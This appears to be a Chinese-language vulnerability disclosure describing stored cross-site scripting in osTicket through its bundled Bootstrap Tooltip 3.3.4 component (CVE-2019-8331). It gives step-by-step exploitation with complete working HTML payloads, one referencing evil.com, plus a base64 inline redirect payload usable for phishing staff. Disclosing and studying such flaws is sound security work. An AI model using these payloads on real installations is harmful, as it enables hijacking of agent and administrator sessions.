Enhancesoft osTicket 版本从 1.10 到 1.17.7 以及从 1.18.0 到 1.18.3 均包含已知存在漏洞的 Bootstrap Tooltip 3.3.4 组件(CVE-2019-8331),这引入了存储型跨站脚本(XSS)漏洞。 在 osTicket 的默认配置中,工单提交者(“用户”)无需事先认证即可提交工单,且用户自助注册默认开启。远程用户可以构造恶意工单消息,尽管该消息通过了 htmlLawed HTML 净化模块的检查,仍会导致任何查看该工单的客服或管理员浏览器中执行任意 JavaScript。该问题由于用户上传的 JavaScript 文件以可执行 JavaScript 的内容类型(text/javascript)提供而进一步恶化,使得浏览器将其视为活动内容。虽然内联 Payload 受到 Bootstrap Tooltip 3.3.4 解析 data-template 值的方式(将其转换为 jQuery 对象并通过 appendTo() 或 insertAfter() 插入 DOM)的限制,但攻击者控制的代码作为外部脚本执行可以规避这些限制,从而实现对漏洞的更强大利用。
已测试并确认存在漏洞:
受影响版本:
此组件自 2015 年 5 月 13 日 起就已存在于 osTicket 代码库中,如下所示:
scp/js/bootstrap-tooltip.jse5a28410ae7c238932eef07c2b3568da015a792c此提交与 自版本 1.10 起的 osTicket 发布标签相关联,表明易受攻击的 Bootstrap Tooltip 组件已被包含在多个主要版本的广泛 osTicket 版本中。这种长期包含强烈表明 多个年份发布的许多 osTicket 版本均受影响。
osTicket 是一个广泛使用的开源工单系统,允许最终用户在创建工单和回复时提交丰富的 HTML 内容及文件附件。
osTicket 定义了三种主要用户类别:
用户 提交的任何 HTML 内容随后都可能在 客服 或 管理员 的浏览器中呈现,这使得客户端漏洞尤其具有影响力。
首先,使用您的最终用户账户进行身份验证,然后前往工单创建页面。
然后创建一个包含 Payload 的 JavaScript 文件(例如:test.js)。例如:
alert(123);
注意:默认情况下,osTicket 允许工单附件 无文件类型限制。

随后,在未提供任何 “问题描述” 的情况下,点击 “创建工单” 提交工单。
应用程序会将我们重定向回工单提交表单,并显示错误 “问题描述为必填字段”。
此页面允许我们在无需实际提交工单的情况下,获取 JavaScript 文件(test.js)的下载链接。


一旦获取到该链接,返回工单提交表单。
点击 HTML 编辑器并粘贴以下 Payload,将 script 标签的 src 属性替换为之前获取的链接。
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='[LINK_HERE]'>"></div>
<input>
下面是一个完整 Payload 的示例,其中 [LINK_HERE] 模式已被替换为之前获取的链接:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://localhost:8080/file.php?key=rjfge-qlcmbwgnsfl8hhwktyhctre-_e&expires=1768780800&signature=5044f8201f041228de077a2e025e6fc118b31223'>"></div>
<input>
然后提交工单。

当管理员或客服查看我们的恶意工单时,Payload 被触发。

结果:
当管理员/客服打开恶意工单时,JavaScript Payload 被加载并在管理员/客服会话的上下文中执行。
这导致 存储型 XSS,允许完全会话接管(例如,通过 ezXSS、CSRF 执行管理员/客服操作)。
如果恶意工单被 客服 查看,存储型 XSS 将在客服已认证会话的上下文中执行。
这使得攻击者能够有效 接管客服会话,而无需提取会话 Cookie(例如,即使在 Cookie 渗出不可行且使用盲 XSS 平台(如 ezXSS)的情况下)。XSS 运行后,攻击者可以执行 受陷客服有权执行的任何操作,例如:
这导致客服的操作能力以及工单工作流程的机密性/完整性完全沦陷。
如果恶意工单被 管理员 查看,影响会升级为完全应用沦陷。攻击者可以:
尽管 osTicket 的默认配置允许 JavaScript 文件上传,但 osTicket 可以在管理面板中配置为不允许最终用户上传 JavaScript 文件。
此外,客服和管理员使用的员工控制面板强制执行内容安全策略(CSP),阻止来自第三方域名的 JavaScript 执行。
以下 Payload 为例:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template="<script src='http://evil.com'></object>"></div>
<input>
下面的截图显示,从 https://evil.com 加载脚本已被员工控制面板强制执行的内容安全策略阻止。

然而,应用程序实施的内容安全策略允许内联 JavaScript。

在 JavaScript 文件上传被阻止的情况下,攻击者仍然可能执行恶意操作。考虑以下 Payload:
<input>
<div style="width:100%;height:100%;pOsition:fixed;tOp:0px;lEft:0px;z-Index:9999" data-toggle="tooltip" title="t" data-template=""></div>
<input>
Base64 Payload 解码后为:
<script>top.location = "https://example.com";</script>
此 Payload 允许攻击者将查看恶意工单的客服或管理员重定向到任意网站,例如钓鱼网站。
查看包含上述 Payload 的工单后的结果如下。
